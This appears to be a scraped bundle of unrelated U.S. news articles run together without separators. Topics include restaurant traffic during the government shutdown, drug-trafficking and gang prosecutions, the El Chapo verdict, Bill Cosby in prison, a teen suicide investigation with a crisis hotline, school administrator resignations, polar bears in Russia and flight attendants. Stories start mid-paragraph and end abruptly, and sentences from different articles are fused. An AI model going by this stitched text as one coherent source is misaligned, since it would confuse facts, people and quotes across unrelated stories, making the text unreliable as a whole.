Of the 12 fast-food restaurants it tracked, Chick-fil-A was the most affected by the shutdown. D.C.-area traffic dropped by 34 percent, while nationwide traffic increased by 9 percent. Starbucks and Arby's were the only other chains that saw foot traffic differences of more than 25 percent between D.C. and nationwide locations.

Most fast-food chains that still saw traffic increase year-over-year in D.C., such as Dunkin' and Yum Brands' KFC and Taco Bell, still trailed far behind higher nationwide traffic growth.

Dairy Queen sees boost

Dairy Queen, best known for its Blizzards ice cream treats, was the only fast-food chain that bucked the trend, according to the Gravy Analytics report. The Berkshire Hathaway subsidiary saw D.C.-area traffic increase by 4 percent during the time period, but nationwide it dropped by 1 percent. External factors, such as D.C.'s unseasonably warm weather during the shutdown, could explain those results.

But it seems most D.C. restaurants have returned to business as usual after the shutdown ended.

Simons said that Founding Farmers' revenue has returned to its usual level for this time of year. However, he still has been giving several families of federal workers free meals as they struggle to get back on their feet after missing weeks of paychecks and falling behind on bills.

Fast-casual chain &pizza gave away more than 30,000 pizzas to federal workers during the shutdown and hasn't seen the same post-shutdown drag on sales.

"I would say that our business, although it's not completely insulated, we have had an outpouring from the community given all of the effort that we put forward during the first shutdown," pizza CEO and co-founder Michael Lastoria said in an interview, adding that the price of the chain's pizza is relatively affordable.

The pizza chain began preparing to restart the free pizza program last week, in case of a second shutdown, Lastoria said.

This story first appeared on CNBC.com. More from CNBC:

Here's an awesome iPhone trick that makes web pages much easier to read

Apple is targeting April to launch its new video service, but Netflix won't be a part of it and HBO is in doubt

Here's who is most likely to get a bigger tax refund this yearA Torrance man who led a drug ring that used couriers to traffic hundreds of pounds of cocaine from Mexico into the United States and Canada was sentenced to more than 11 years in prison, prosecutors announced Tuesday.

Richard Manuel Pimentel, 45, was also fined $300,000 by U.S. District Judge Dale S. Fischer, according to the U.S. Attorney's Office.

Pimentel, who was sentenced Monday to the 135-month term, pleaded guilty in October to one count each of conspiracy to distribute cocaine and conspiracy to engage in money laundering.

Pimentel is the fourth and final defendant to be sentenced in the case.

His co-defendants, who each pleaded guilty to felony charges, included his 46-year-old brother, Rodolfo Pimentel of Palos Verdes Estates, who was sentenced to 87 months; Enrique Rodriguez, 47, of North Hills, who was given a 145-month term; and Javier Rodriguez, 34, of Mar Vista, who received a 46-month sentence.

Between February 2013 and October 2014, Richard Pimentel coordinated with his co-defendants and other co-conspirators to distribute about 220 pounds of cocaine.

He admitted in his plea agreement that he arranged for couriers to transport cocaine obtained from drug suppliers in Mexico to locations in the United States and Canada. He also admitted that he and his co-defendants arranged for the proceeds from cocaine sales -- minus their fees -- to be sent back to Mexico, and to arranging the cash payment of a $400,000 debt owed to a cocaine supplier in September 2013.

The ring members used their cocaine trafficking proceeds to buy vehicles, home improvement and jewelry, among other items of personal use, according to documents filed in Los Angeles federal court.What to Know Greg Carlson was wanted for an armed sexual assault in 2017 in West Los Angeles

The cross-country search included a high-speed police pursuit in Alabama

Carlson was on the FBI's Top-10 Most Wanted Fugitives list

The cross-country search for a fugitive wanted in an armed sexual assault of a woman in her West Los Angeles home and other assaults in Southern California came to an end Wednesday morning when he was shot and killed by federal agents at a North Carolina motel.

Details about the operation that led to the shooting death of Greg Alyn Carlson, 46, were not immediately available, but the FBI confirmed he was shot and killed by agents who attempted to arrest him at the motel in Apex, North Carolina, just west of the state capital of Raleigh. The agents had been conducting surveillance at the motel after receiving a tip that Carlson might be there.

Carlson was on the FBI's Top-10 Most Wanted Fugitives list, accused of sexually assaulting a woman and striking her in the head with a gun during a July 13, 2017 burglary in West Los Angeles.

Carlson also was sought in a September 2017 West LA assault and linked to two other assaults in 2003 by DNA. He was arrested by Los Angeles police in 2017, but was released on bond.

Investigators said Carlson and the victims did not know each other.

"There's been nothing in the investigations that led us to believe why he was specifically targeting these individuals," said LAPD Capt. William Hayes. "The victims didn't know him or hadn't seen him before."

Hayes said it's possible investigators might develop a better picture of Carlson's crimes and flight after studying evidence found in the motel room.

After posting bond, he fled to South Carolina, but likely left the state with a stolen handgun, rental car and large amount of cash, the FBI said. Agents said they're not sure how he obtained so much money, adding that he might have worked as an actor when he lived in Southern California.

In November 2017, he was seen in Alabama, where he led police on a high-speed pursuit. Police called off the pursuit due to safety concerns.

Investigators said he traveled to Florida and was seen in November 2017 in Daytona Beach. The FBI received a confirmed sighting of the suspect in the Mount Pleasant area of South Carolina, where he has ties.

Authorities were searching for a late-model white Hyundai Accent -- the same car he was driving in previous sightings. He likely stole a license plate from another vehicle, investigators said.

It was not immediately clear if he was still traveling in the car at the time of the motel shooting.

Hundreds of tips led investigators to believe Carlson was still in the Southwest United States.

He has also resided in the Southern California seaside communities of Santa Monica and Redondo Beach.

The 2017 arrest marked the first time he had been arrested for a felony crime. Carlson was previously arrested for a misdemeanor in Beverly Hills.

He might be behind additional sexual assaults, investigators said. A $100,000 reward was issued for information in the case.What to Know Three dozen reputed members and associates of a pair of street gangs were arrested in connection with a series of federal indictments.

The indictments allege racketeering, weapons violations and drug trafficking.

One crackdown was a follow-up to indictments targeting the same gang 14 years after the 2003 killing of a Burbank police officer.

Federal agents on Wednesday cracked down on two Los Angeles-area street gangs, arresting three dozen gang members and associates in connection with drug trafficking, extortion and attempted murder cases.

One operation targeted members and associates of Florencia-13, a street gang in South Los Angeles. A second raid targeted members and associates of the Vineland Boys gang in the San Fernando Valley.

The Vineland Boys are accused of being heavily armed and involved in shootings, assaults and illegal gun sales, all in an effort to control their territory in Sun Valley, North Hollywood and Burbank, officials said.

They are accused in a shooting of a rival gang member on Lankershim Boulevard in April 2016.

The gang is also accused of being involved in the alleged manufacturing of untraceable ghost guns, AR-15-type weapons with no serial numbers. The guns were sold to gang members who were ex-felons prohibited from legally purchasing them themselves, authorities said.

The gang is also accused of dealing drugs near an elementary school, officials said.

The Vineland Boys gang was the subject of massive sweeps 14 years ago, after members of the Valley gang were indicted in the wake of the 2003 murder of Burbank Police Officer Matthew Pavelka and the attempted murder of his partner, Detective Greg Campbell, authorities said.

United States Attorney Nick Hanna said that series of raids on the gang dealt a punishing blow to its operations.

"Over the ensuing years a new generation of Vineland Boys emerged," he said during a morning news conference. "Once again they're plaguing their communities with violence, with drug trafficking, with extortion and other crimes. They're aggressive. They've become more emboldened and they regained their swagger. But that all comes to an end today."

Florencia-13 gang members are accused of dealing methamphetamine, heroin, cocaine and other drugs and of trying to smuggle narcotics into the California state prison and Los Angeles County jail systems, including attempting to mail two shipments totaling 100 grams of heroin to an imprisoned Mexican Mafia member, officials said.

Some 26 members and associates of the gang are accused of conspiracy charges involving drug trafficking, illegal gambling, attempted murder and assault, authorities said.

One of the alleged leaders, Leonel "Wizard" Laredo, 47, is accused of running the gang's operations in Southern California from behind bars in Texas where he's serving time for racketeering and drug convictions, authorities said.

Laredo's goal, officials said, was to enrich himself and his family members and associates by charging "taxes" from drug dealers and businesses in the gang's territory, officials said.

F13 gang members are blamed for the shooting and attempted murder of a rival gang member in South Los Angeles in December 2016, authorities said.

Another reputed gang member, Samuel Flores Mejia, whose nickname is "Menace" allegedly shot and wounded a fellow F-13 gang member to discipline him at one of the gang's illegal gambling houses in April 2017, prosecutors said.

Thirty six defendants were named in six indictments in the Florencia-13 case. Eleven were arrested Wednesday, 16 were already in custody, and authorities are searching for nine fugitives.

Twenty five members of the Vineland Boys gang were arrested Wednesday, while another 11 were already in custody and a search was continuing for the remaining nine defendants, four of whom are believed to be in Mexico, officials said.Penguins made a love connection at a San Francisco aquarium.

In what has become an annual Valentine's Day tradition, biologists handed out red felt hearts Tuesday to African penguins at the California Academy of Sciences.

The birds grabbed the hearts in their beaks and waddled around their rocky enclosure toward their nests.

Spokeswoman Kelly Mendez says it's often the male penguin who retrieves the heart and carries it back to his mate. The penguins use the felt for material in their nests, which helps reinforce the couples' bonds.

The activity is part of the academy's captive breeding program to help increase the African penguin population, which is endangered in the wild.What to Know Bill Cosby is serving 3 to 10 years for drugging and sexually assaulting Andrea Constand in 2004.

He is currently living in a single cell and has inmates to help him navigate the facilities given his age and disability.

Cosby's legal team has repeatedly sought to appeal his sentence but has not been successful.

Bill Cosby hasnt seen his wife or children since entering a maximum security Pennsylvania prison four months ago. His only contact with the outside world is Andrew Wyatt, his spokesman and self-proclaimed right-hand man who recently spoke with NBC10.

Wyatt provided a glimpse of Cosbys new life behind bars. The 81-year-olds routine is a far cry from his previous days when many considered the comedian Americas Dad.

UPDATE: Bill Cosby has responded to NBC10 after this story was published. Read his comments here.

Now, the former Hollywood star rinses off his food during every meal to reduce his sodium intake. He wakes up at 3:30 a.m. to do pushups and situps in his cell before breakfast.

Cosby is serving 3 to 10 years at SCI-Phoenix outside Philadelphia for drugging and sexually assaulting Andrea Constand at his Montgomery County, Pennsylvania, home in 2004.

He recently settled a civil lawsuit with her for nearly $3.4 million.

Despite two trials and a wave of additional allegations in the wake of the #MeToo movement, Cosby insists his encounter with Constand was consensual. He considers himself a political prisoner much like Martin Luther King, Jr. and Nelson Mandela, Wyatt said. Cosby remains unapologetic, even if it leaves him to serve the 10-year maximum, according to Wyatt.

When I visit him, its nothing sad about it, Wyatt said. Hes not sad. Hes not remorseful because he did nothing wrong.

Bill Cosbys team of confidants talk about the now famous inmate after his 3-10 year sentence for sexual assault.

Earlier this month, Cosby was moved to a general population unit after spending about four months in special housing as he acclimated to the prison.

Inmates at SCI-Phoenix outside Philadelphia spend several hours a day in the gym or exercise yard, and other times in the library, class or day room, prison spokeswoman Amy Wordensaid said. Several inmates are assigned to help Cosby navigate the facility, given his age and disability, Wordensaid said.

Cosby is legally blind, a condition his legal defense attempted to use when appealing his conviction.

Despite the circumstance, Wyatt told NBC10 his client is in good spirits. He speaks with his wife by phone three times a day and has weaned himself off coffee. He does not indulge in coffee or dessert, Wyatt said.

Instead, Cosby works to develop show ideas from behind bars, according to his lawyer. Much of the direction comes from his wife, Camille Cosby.

Hes mentally strong, Wyatt said. Hes just a strong man.

Last month, Constand settled a defamation lawsuit against a former prosecutor who said she added details to her story over time.

Her suit against Bruce Castor had been set for trial in April in Philadelphia after a federal judge refused to dismiss it. The case then settled this week, court records show.

The terms are confidential and both sides had agreed not to comment, Constand's lawyer, Dolores Troiani, said.

Castor declined to charge Cosby when Constand went to police in suburban Philadelphia in 2005 to report that she had been drugged and molested a year earlier. In a statement, Castor said both parties could be portrayed in "a less than flattering light."

When the criminal case was reopened a decade later, Castor defended the decision.

"If the allegations in the civil complaint were contained with that detail in her statement to the police, we might have been able to make a case out of it," Castor said. Troiani demanded a public apology, saying Castor had revictimized her client.

"This is outrageous that a victim of a crime could be treated this same way  twice  by the same man," Troiani said at the time.

A new prosecutor arrested Cosby in 2015 after documents from Constands 2005 civil suit against Cosby were unsealed, revealing Cosby's damaging testimony about sexual encounters with Constand and others.He also has been a patient but firm advocate for the creation of the Council Office of Financial Analysis, an extra set of eyes on the mayors office designed to provide independent analysis of spending, borrowing and budgets. That office sputtered to get off the ground and desperately needs to be strengthened. Pawar supports that, too, and says that as treasurer he would back efforts to build more teeth and independence into that office.Police officers who patrol near Dallas-Fort Worth International Airport are cracking down on speeders after a string of serious multi-vehicles crashes.

Grapevine police said there have been four multi-vehicle crashes since late December along northbound Texas 121 near the DFW Airport exit.

"When we see more than one crash in the same location that immediately becomes, Whats happening in that area thats causing more than one serious crash and how can we stop it?'" Grapevine police spokeswoman Amanda McNew said. "In all of these cases, the failure to control speed has been the top factor. So, speed is the issue causing these major crashes."

A 13-car pileup Dec. 26 and a Jan. 18 crash involving eight cars prompted concerns from Grapevine's veterans officers.

"It was a lot of cars. It was the most Ive seen since Ive been here, Shane Hardin, senior Grapevine police officer, said of the 13-vehicle crash.

McNew pointed to failure to control speed as being the top factor in these cases.

Motorcycle officers are now beefing up patrols to make sure speeders are held accountable.

"Cars around here doing 80 and 90 mph. Things are just happening quick as the speed increases," Hardin said. "Your reaction times are lessened with that."

The area where the crashes are happening is near ongoing highway construction.

"So, the speed limit is going down from 65 to 55. So, there is a drop right there," McNew said. "People are going a lot faster and they are not slowing down when they should. Theyre going too fast to hit their brakes in time and slow down."

McNew said the average speed that people are getting tickets for has been 80 mph. "So, these are not people going a few miles over. This is significant speed and they are causing danger to everyone around them," she added.

The highest clocked speed for someone pulled over in the new push was 90 mph.

Because the area is in a construction zone, fines could be doubled if a construction worker is present. "They are out here trying to do a job and get it done as safely as they can," Hardin said. "I feel like its our job to get out here and make it safe for them as well as motorists."The Senate Intelligence Committee's investigation into the 2016 election has uncovered no direct evidence of the Trump campaign conspiring with Russia, Democrats and Republicans on the committee told NBC News.

But different parties' investigators in the probe, which is winding down, disagree over the implications of a pattern of contacts between Trump associates and Russians.

Last week, Sen. Richard Burr, the panel's Republican chairman, told CBS News that, while more facts may be uncovered, "If we write a report based upon the facts that we have, then we don't have anything that would suggest there was collusion by the Trump campaign and Russia."

Democratic Senate investigators told NBC News on condition of anonymity that Burr's characterizations, while accurate, lacked context. One aide said, "We were never going find a contract signed in blood saying, 'Hey Vlad, we're going to collude.'"The head of the Federal Emergency Management Agency resigned Wednesday after a two-year tenure in which he managed the response to historic wildfires and major hurricanes but was dogged by questions over his use of government vehicles.

Brock Long said in a letter to FEMA employees that he was resigning to spend more time at home with his family. His last day is March 8.

He did not mention the investigation by the agency's watchdog that found he had used government vehicles without authorization, costing taxpayers tens of thousands of dollars. Homeland Security Secretary Kirstjen Nielsen said last fall that Long would repay the government and would not lose his job.

Nielsen said Long led the agency admirably. "I appreciate his tireless dedication to FEMA and his commitment to fostering a culture of preparedness across the nation," she said in a statement.

His deputy, Pete Gaynor, will become acting head of the agency.

Word leaked of the internal probe in September, just as Hurricane Florence was landing in the Carolinas. Homeland Security officials said there had been a longstanding practice of FEMA administrators using government vehicles to ensure they could remain connected during a crisis. But the use of government vehicles for home-to-work travel was not officially authorized, and that practice was eliminated in April.

The report by Homeland Security's Office of Inspector General also found Long used government vehicles for non-official reasons. It said this cost taxpayers $94,000 in staff salary, $55,000 in travel expenses and $2,000 in vehicle maintenance.

The House Oversight Committee had also been looking into the allegations.

Long said he accepted full responsibility for the unauthorized use of the vehicles.

He took over FEMA in June 2017, presiding over a particularly grueling hurricane season that included Irma, Harvey and Maria, plus wildfires in California that were the deadliest ever for the state. The response to Maria, which devastated Puerto Rico, has been heavily criticized, and Long has said FEMA learned lessons on how to better prepare.Laura Maczka's position on new apartments near Richardson neighborhoods was clear during her successful run for mayor - we dont need them, "period."

Then she met an apartment developer.

Mark Jordan was younger, handsome and rich, federal prosecutors say. They had an affair. He lavished her with gifts and trips, according to prosecutors.

In exchange, she voted for zoning changes for his controversial Palisades mixed-use project along Central Expressway, which neighbors fiercely opposed due to its numerous apartments, her indictment says.

Read more from our media partner The Dallas Morning News.A Dallas-area mortgage banking executive paid $110,000 to kill a rare mountain goat in Pakistan as part of a conservation program used to reduce poaching of the once-endangered animals.

A YouTube video shows Bryan Harlan kneeling behind the dead screw-horn goat, with a backdrop of the snow-capped mountains of the northern Himalayan region of Gilgit-Baltistan.

"It is an honor and privilege to be back in Pakistan," said Harlan, according to a Pakistani TV station. "This is the third time I am in Pakistan. I have hunted almost all animals here.

Click here to read more about this story from our media partners at The Dallas Morning News.Two men were fatally shot during a police confrontation in Houston following an overnight robbery in Houston, police said.

Law enforcement officials, who were involved in a joint task force, were investigating a vehicle they believed were related to other robberies in the Harris County and Fort Bend areas, police said.

The task force saw four male suspects rob the Walgreens, police said.

The force attempted to confront the men and they fled the scene, which prompted a short police chase, police said. It ended in a shootout near an apartment complex where several shots were fired.

One of the men died and the other died at a hospital.

No bystanders were injured. One officer may have minor injuries from broken glass, KPRC reported.

"This has been a violent crew that has been on a bit of a crime spree for the last two weeks or so," Sheriff Ed Gonzalez said to KPRC. "I believe they are responsible for about eight robberies and it was our belief they would continue to do this. This is dangerous work (deputies) are involved in and for us, at the end of the day, we are happy none of our law enforcement officers were hurt."

The Texas Department of Public Safety said they had been investigating the four men for at least two weeks.

"This task force, they deal with violent individuals almost on a daily basis, Sgt. Stephen Woodard said at a news conference. When we are talking about these violent individuals that are going into establishments and robbing them, its an unfortunate situation for both parties. We are keeping the families in mind, of the deceased, because again, someone has lost a child and we want to keep that in mind."

The two other men are in custody at Fort Bend County Jail.The special victims unit is investigating the death of a Danbury High School student who died of an apparent suicide at a mall over the weekend and Danbury Police said the investigation will include a possible social media influence.

Hailey Nailor, 16, died after falling from the top of the parking garage at Danbury Fair Mall Saturday afternoon, according to police, and they said it appeared to be intentional.

Officers responded to the mall after receiving reports of a teenage girl threatening suicide and Nailor had fallen to her death, police said.

As reflected in the multiple responses to The Danbury Police Departments previous post regarding the tragic death of Hailey Nailor, we would like to inform the public that all aspects of her death are being investigated by our Special Victims Unit, including a possible social media influence. Should our investigation reveal a criminal aspect, we will inform the public at an appropriate time, a Facebook from Danbury Police says.

Camrie Mancuso, a friend and neighbor, said Nailor was like a little sister to her.

"Shes always been bubbly, not afraid to say what she had to say," Mancuso said.

Mancuso said she was heartbroken to see Nailor had recorded some of her final moments and shared them on Snapchat.

"It's just like what I mean sad and disturbing not in a rudeful (sic) way but disturbing that someone could feel so lonesome and feel like they're not worth anything," Mancuso added.

In Facebook posts, Danbury Superintendent Sal Pascarella wrote, We are aware that an individual posted inappropriate information regarding the deceased online, and Mr. Donovan, DHS principal, is working with authorities to have it removed. We strongly recommend that if your child has viewed the posting(s) to have a discussion with them, the post said. This is a difficult time for everyone involved. Our thoughts and prayers are with the family.

A statement posted on the school departments website Monday also addressed hurtful comments on social media.

We are mindful of hurtful comments that continue to circulate on social media that are directed at our schools and other members of our community, and we continue to cooperate with administrators and local authorities to investigate all of the surrounding circumstances. The Board of Education remains deeply concerned, and will continue its work with our Superintendent and his team to review the policies and procedures that protect all students in our schools and to insure their effectiveness. Please know that this District remains committed to fostering a positive school environment for all of our students and families, the post on the Danbury school departments website says.

It went on to offer resources, including:

Tips for parents and educators from the National Association of School Psychologists website

Tips for parents from the Society for the Prevention of Teen Suicide

Suicide is one of the leading causes of death for young people and many prevention efforts are based on detecting warning signs, according to the Centers for Disease Control and Prevention. Those signs include talking about or threatening suicide, withdrawing from people and feelings of hopelessness.

SUICIDE PREVENTION HELP: The National Suicide Prevention Hotline (1-800-273-8255) is open 24 hours a day, 7 days a week. If you are in crisis, you can also text 'Home' to 741741. Click here for more information.The superintendent and assistant superintendent of schools in Cromwell have both resigned from their positions after an investigation into possible misconduct allegations.

Superintendent of Schools John Maloney and Assistant Superintendent of Schools Dr. Krista Karch resigned from their positions on Wednesday, according to the Chairman of the Cromwell Board of Education Mike Camilleri.

The Board of Education released a statement and said based on new information in the investigation, they asked Maloney and Dr. Karch to submit their voluntary resignations.

"We were hopeful, even up until last week, that Mr. Maloney and Dr. Karch could resume their roles and continue the work that they have done to improve our schools. However, as the investigation unfolded and new information came to light, including after Mr. Maloneys return from leave on Tuesday, January 29, 2019, we determined that we could no longer support Mr. Maloney and Dr. Karchs continued employment with the Cromwell Public Schools," Camilleri said in a statement.

"We felt that it was best for the District to move forward with new leadership, so we asked both Mr. Maloney and Dr. Karch to submit their resignations, which they then did voluntarily in consultation with their respective attorneys," he added.

Both were previously put on paid administrative leave amid an investigation into possible misconduct allegations. The investigation said an anonymous letter was mailed to Board members and a number of district employees at their homes with a disk containing school security camera footage.

Officials said the Cromwell Board of Education received an anonymous complaint in December alleging that Maloney and Dr. Karch "have engaged in conduct that could constitute misconduct or could interfere with their respective abilities to carry out their job responsibilities in an effective manner."

A law firm was hired to investigate the allegations.

Both Maloney and Dr. Karch were placed on paid administrative leave pending the outcome of the investigation in December, officials said.

During the investigation, investigators said emails received on district computers showed Dr. Karch may have attempted to contact Maloney during the investigation, while they were on administrative leave.

They said this included two emails sent from Dr. Karch's personal email to Maloney's school email with documents that included information related to the investigation.

She told investigators that she believed she sent the emails to Maloney's school email address out of force of habit, however, investigators said Maloney did not have access to the email account during the investigation.

The Board of Education determined that Maloney could return to his position on January 24 at a meeting. A similar meeting for Dr. Karch was scheduled for February 4.

On February 1, investigators said the Board of Education received a report that Dr. Karch and Maloney were seen together at a restaurant after Maloney had returned to his position, but while Karch was still on paid leave.

"Karch was under a directive not to communicate with District employees," investigators said.

According to the investigators, during the meeting on February 4, Dr. Karch told Board members that she had complied with the terms of her paid leave and had not had contact with any district employees, including Maloney.

The investigation said she later told the Board that she had not been truthful and admitted to the encounter with Maloney at the restaurant on February 1, which was a violation of her administrative leave.

Later that evening, when Camilleri called Maloney and asked him if he had been at the restaurant with Dr. Karch on February 1, investigators said Maloney said he was at the restaurant, but was not with Karch.

Minutes later, Maloney said he did meet with Dr. Karch at the restaurant to discuss the district's budget, the investigation said.

"Mr. Maloney acknowledged to Mr. Camilleri that he understood this encounter violated Dr. Karchs paid leave directives and demonstrated a profound lack of judgment on his part," according to the investigation.

Camilleri said he then asked both Maloney and Dr. Karch to submit their voluntary resignations, which the Board accepted at a special meeting on Wednesday.

Investigators said they could not substantiate a romantic relationship between Maloney and Dr. Karch.

The interim Superintendent of Schools is Fran DiFiore, the current high school principal, Camilleri said.

The Board of Education plans to engage a longer term interim Superintendent of Schools to lead the district for the remainder of the school year, he added.

He said he hopes to have the next Superintendent in place by July 1, 2019, in time for the start of the next school year. DiFiore will remain principal of Cromwell High School.

"We are deeply saddened by the circumstances that led to these actions, but truly believe that we must move on and set a new course for the Cromwell Public Schools," Camilleri said in the statement.The lawyer for a college professor who has accused Virginia's lieutenant governor of sexual assault sent a letter to Virginia lawmakers urging a full investigation.

Vanessa Tyson was the first of two women who alleged last week that Virginia Lt. Gov. Justin Fairfax sexually assaulted them, prompting calls for his resignation. Fairfax has denied the allegations and said he won't resign.

The letter asked the Virginia legislature to conduct a "thorough, fair and expeditious investigation" into Tyson's allegations.

Tyson appeared Tuesday at a long-planned Stanford University academic symposium on sexual assault. She told the audience she is "deeply disturbed" with attempts to discredit victims' credibility and encouraged victims to share their stories with each other.

"When we hear someone else's story, there's a beauty in it knowing you aren't alone," she said Tuesday during a long-planned symposium on sexual assault.

Tyson didn't directly address her accusation that Fairfax sexually assaulted her in 2004. Stanford authorities barred audience members from asking Tyson about the matter.

Camera crews greeted audience members arriving to the reception and symposium at Stanford's Center for Advanced Study in the Behavioral Sciences, a usually quiet location tucked high on a hill about a mile from the main campus. The 100 audience members crammed in the main room greeted Tyson with a standing ovation. Dozens more watched a video feed from a nearby room.

The event was planned several weeks ago before Tyson aired her accusation and is titled, "Betrayal and Courage in the Age of #MeToo."

Tyson also recounted how she and Stanford colleagues watched Christine Blasey Ford testify in Washington, D.C., during Supreme Court Justice Brett Kavanaugh's confirmation hearing.

"As she shook, we shook with her," she said. "As she told her story, we felt the pain she so visibly demonstrated."

Tyson is now represented by the same legal team that represented Blasey Ford.

Tyson was joined on stage by fellow center researcher Jennifer Freyd and moderated by law school professor Paul Brest to discuss "the underlying dynamics of sexual violence and institutional betrayal," according to symposium literature. Tyson is an associate professor of political science at Scripps College about 30 miles east of Los Angeles. She is spending the year at Stanford in part researching "the political discourse surrounding sexual assault," according the center's website.

Tyson's accusation was made public last week when a friend shared a private Facebook message sent by Tyson that alluded to the possibility of Fairfax becoming governor if the current Gov. Ralph Northam was forced to resign because of a racism scandal. That message was posted on a conservative political website that follows Virginia politics.

The Associated Press typically does not identify those who say they were sexually assaulted, but Tyson issued a statement in her name last week.

In the statement, Tyson said Fairfax held her head down and forced her to perform oral sex in his hotel room at the Democratic National Convention in Boston in 2004. Fairfax says the encounter was consensual. Tyson has not otherwise commented publicly and hasn't responded to multiple requests for comment from The Associated Press.El Chapos murderous Sinaloa drug cartel was based in Mexico, but for years its American nerve center was Chicago. His henchmen from the Little Village neighborhood, twin brothers Pedro and Margarito Flores, turned the city into a conduit for as much as 1,500 kilos of cocaine and heroin each month that would be distributed throughout the U.S. and Canada. Often, drugs sent to American cities were stashed behind fake walls or in crates of frozen fish or avocados shipped in boxcars and tractor-trailers.What to Know Russian wildlife specialists are heading for an Arctic archipelago to try to resolve polar bears wandering in the city.

More than 50 bears have been spotted in the archipelago's main town of Belushya Guba.

Regional authorities in Russia declared a state of emergency over the weekend after the bears peered into homes.

Russian wildlife specialists are heading for an Arctic archipelago to try to resolve a situation that has both terrified and delighted the locals: the polar bears that moved into a populated area.

It's not the first time that polar bears have come to Novaya Zemlya, but their numbers this time are striking. More than 50 bears have been spotted in the archipelago's main town of Belushya Guba.

Regional authorities in Russia declared a state of emergency over the weekend after the bears peered into homes, entered buildings and gorged at a garbage dump outside the town.

Polar bears mostly live on sea ice, where they hunt seals as their main food. A decline in the seal population or the shrinking amount of sea ice as the Arctic warms might have brought them to land, experts have theorized.

Russian officials don't have an immediate solution. Actions under consideration include relocating the dump that gives the bears a banquet and removing the bears. The scientists coming from the national natural resources agency will be equipped to sedate the bears and haul them away.

"That's just an option; at the moment it is being considered, but there's no 100-percent guarantee it will be applied," said Alexander Gornikh, regional head of the natural resources agency.

The ferocity of polar bears may worry many people, but some are also thrilled by the spectacle.

Cell phone videos taken in the area come with sounds of humans exclaiming over bear sightings.

"Thank you! It's so cool! We have seen polar bears," one woman is heard saying after she spotted a female bear and two cubs. "Bye, baby, bye!"

The two islands that make up Novaya Zemlya are farther north than the most northerly city in the United States.

That's Utqiagvik, Alaska, previously called Barrow.What to Know The jury has reached a verdict in the case of alleged Mexican drug lord Joaquin El Chapo Guzman

Guzman pleaded not guilty to charges that his Sinaloa cartel smuggled drugs, laundered billions of dollars and oversaw murder campaign

Throughout the trial, which kicked off in November, prosecutors used documents, videos and recordings as evidence

The notorious Mexican drug lord Joaquin "El Chapo" Guzman has been found guilty on all counts in an international drug distribution trial in New York.

Jurors convicted Guzman on all 10 counts that are likely to put him behind bars for the rest of his life. He is set to be sentenced on June 25.

"His conviction is a victory for the American people who have suffered so long and so much while Guzman made billions pouring poison over our southern border," said U.S. Attorney Richard P. Donoghue during a news conference outside a federal court in Brooklyn.

New York jurors whose identities were kept secret reached a verdict after deliberating six days in the expansive case, sorting through what authorities called an "avalanche" of evidence gathered since the late 1980s that Guzman and his murderous Sinaloa drug cartel made billions in profits by smuggling tons of cocaine, heroin, meth and marijuana into the U.S.

As the judge read the verdict Tuesday, Guzman stared at the jury straight-faced. When the jury was discharged, he leaned back in his chair to catch the eye of his wife, who gave him a subtle thumbs-up.

U.S. District Judge Brian Cogan lauded the jury's meticulous attention to detail and the "remarkable" approach it took toward deliberations. Cogan said it made him "very proud to be an American."

Throughout the trial, which kicked off in November, prosecutors used documents, videos and recordings as evidence, including material related to drug smugglers' safe houses and Guzman's 2015 prison escape and the law enforcement operation to recapture him.

During closing arguments, prosecutors said the evidence against Guzman was overwhelming.

Defense attorney Jeffrey Lichtman, meanwhile, had urged not to believe government witnesses who "lie, steal, cheat, deal drugs and kill people."

On Tuesday, Lichtman called the conviction "devastating," but he said he was proud that the defense "left it all on the battlefield."

The gripping trial that was reminiscent of a hard-to-believe Hollywood movie, supplied many memorable moments.

The highlights of the government case offered plenty of potential material, starting early in the trial with testimony by a former Sinaloa cartel lieutenant describing how a car carrying Guzman into Mexico City shortly after he escaped prison in 2001 got a police escort by highway officers.

A suspected informant claimed he had survived several attempts on his life ordered by Guzman, including a knife attack at a jail right after he heard a brass band ominously playing a favorite "corrido" folk song of Guzman's  "Un Puno De Tierra"  over and over.

A former Colombian kingpin who once supplied the cartel with tons of cocaine, Juan Carlos Ramirez Abadia, made an impact solely by the way he looked while testifying  with his face distorted by an extreme makeover meant to hide his identity.

Ramirez explained that he had undergone at least three plastic surgeries that altered "my jawbone, my cheekbones, my eyes, my mouth, my ears, my nose."

Much of the testimony was devoted to how corrupt Mexican authorities had a voracious appetite for drug money. One cooperator said Guzman had paid former President Enrique Pena Nieto $100 million  a claim Pena Nieto denied.

Three of the latest witnesses kept the drama alive: A former cartel computer tech who testified how, after being flipped by the FBI, he showed them how to intercept the syndicate's phone calls and texts that Guzman had monitored with spyware; a member of the cartel security team who alleged Guzman shot a kidnapped victim before having the man buried alive; and an ex-girlfriend who described how they evaded a manhunt  one of his specialties  using a trapdoor underneath a safehouse bathroom that led to a drainage tunnel that he used to run away, naked, in 2014.

The trial became such a pop culture phenomenon that Alejandro Edda, the actor who played Guzman on the Netflix series Narcos: Mexico made a cameo at the trial. Another attention-grabbing moment was the day Guzman's twin girls attended the trial and saw their father for the first time since his arrest.

Guzman told a judge Jan. 29 he would not take the witness stand in his own defense at his U.S. drug-trafficking trial.

Guzman was captured in 2015 and escaped jail through a tunnel dug into his prison cell before he was sent in 2017 to the U.S. He's been in solitary confinement ever since.They are aviations first responders. A cross-section of the safety and service industries, flight attendants literally put the friendly in "friendly skies."

Four Chicago-based flight attendants who work for the nations low-cost carriers sat down with NBC 5 Investigates to share secrets of their trade  from the most annoying passenger habits to how they get couples getting a bit too intimate in-flight to knock it off.

#1 Not paying attention during safety announcements? Yes, they can see you.

The number of passengers who listen during the pre-takeoff safety announcements is so rare that flight attendants are pleasantly surprised when they do have someones attention.

"I actually point out passengers with their safety cards out, intently watching and staring at me the whole time, when Im going through my safety checks," said flight attendant Erica Levy. Ill actually make a comment to them because its so few and far between that you see anyone paying that much attention."

They admit that frequent fliers know how to buckle a safety belt and where emergency exits are, so tuning out is understandable.

"But I have found passengers pay more attention to the life vest demonstrations than anything else," Levy said.

Flight attendants credit that, in part, to the "Miracle on the Hudson." The 2009 landing of US Airways Flight 1549 in the Hudson River occurred recently enough to be on some passengers minds, they said.

Their jobs are to make passengers comfortable in-flight, but flights attendants said some customers push it.

#2 The most annoying passenger habits

Their jobs are to make passengers comfortable in-flight, but flights attendants said some customers push it.

"For me, its no shoes in the lavatory or feet on the tray tables," said Andrea Watt.

The rude passenger is just as bad, they said.

